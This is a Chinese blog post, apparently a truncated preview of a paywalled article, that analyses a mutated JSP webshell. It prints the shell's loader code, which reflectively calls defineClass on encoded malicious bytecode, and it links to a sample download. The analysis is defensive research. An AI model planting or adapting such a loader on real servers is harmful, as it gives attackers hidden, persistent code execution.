0x01 前言
在某活动中捕获到一个变异的webshell(jsp文件格式),如图1.1所示。样本webshell的大致功能是通过加载字节码来执行恶意代码,整个webshell的核心部分逻辑是在字节码中。
样本文件下载链接:
https://github.com/webraybtl/webshell1

图1.1 变异webshell样本
直接通过冰蝎、哥斯拉、天蝎、蚁剑这些工具来连,均没有成功,初步推测是一个改过的webshell。
0x02 初步分析
Webshell中首先定义了两个方法b64Decode和unc,分别用于base64解码和gzip解码,代码比较简单,就不做分析。Webshell中处理逻辑部分代码如下所示。
<%String u = "lgetwr";if (context.get(u) != null) {context.get(u).equals(new Object[]{request, response});} else {byte[] data = b64Decode("xxxx"); //替换为样本中的恶意字节码byte[] cbs = unc(data);java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0],Thread.currentThread().getContextClassLoader());java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100,101,102,105,110,101,67,108,97,115,115}), new Class[]{byte[].class, int.class, int.class}); // new byte[]{100,101,102,105,110,101,67,108,97,115,115} 对应defineClassmethod.setAccessible(true);Class clazz = (Class) method.invoke(classLoader, new Object[]{cbs, new Integer(0), new Integer(cbs.length)});context.put(u, clazz.newInstance());}%>
context是静态map类型变量,起到全局数据传递的作用。在其中定义的变量u并不是webshell的密码,而仅是map中的一个key。
当第一次访问webshell的时候,通过反射的方式调用ClassLoader类的defineClass方法,把恶意的字节码经过解码之后作为defineClass方法的参数,并生成对应的类实例对象,保存到context字典中,key为“lgetwr”。
当后续再访问webshell的时候,进入另一个if分支,直接调用恶意对象对应的equals方法,并把request和response作为参数传入。
0x03 深入分析
把样本中的恶意字节码结果解码之后保存为class文件,解码的方式直接调用webshell中的b64Decode和unc方法,直接定位到恶意类对应的equals方法,如图3.1所示。

图3.1 字节码文件中的equals方法
从反编译的代码中可以看出字节码对应的类经过了混淆和压缩,无法友好的阅读代码,更重要的是在equals中调用了this.a(long, short)方法,该方法无法被idea反编译,在idea中提示无法“couldn ' t be decompiled”,如图3.2所示。更换jd-gui来进行反编译依然无法反编译这个方法,推测可能是作者为了防止反编译做的强混淆或者使用了某些奇怪的java语法。

图3.2 IDEA工具无法反编译字节码中的关键方法
后来在找到了一个非常棒的在线反编译网站http://www.javadecompilers.com/。可以支持多种不同的反编译工具来进行反编译,依次尝试所有的反编译器,当选择CFR反编译器时可以看到得到完整的源码,如图3.3、图3.4所示。

图3.3 通过CFR来进行反编译

本文对一个变异的jsp格式Webshell进行分析。该Webshell通过加载字节码执行恶意代码,核心逻辑在字节码中。文章先初步分析其处理逻辑,再深入分析字节码,借助在线反编译网站获取源码。还介绍了其参数传递、解密方式及执行流程,并进行实际测试复现命令执行逻辑。
最低0.47元/天 解锁文章
1479

被折叠的 条评论
为什么被折叠?



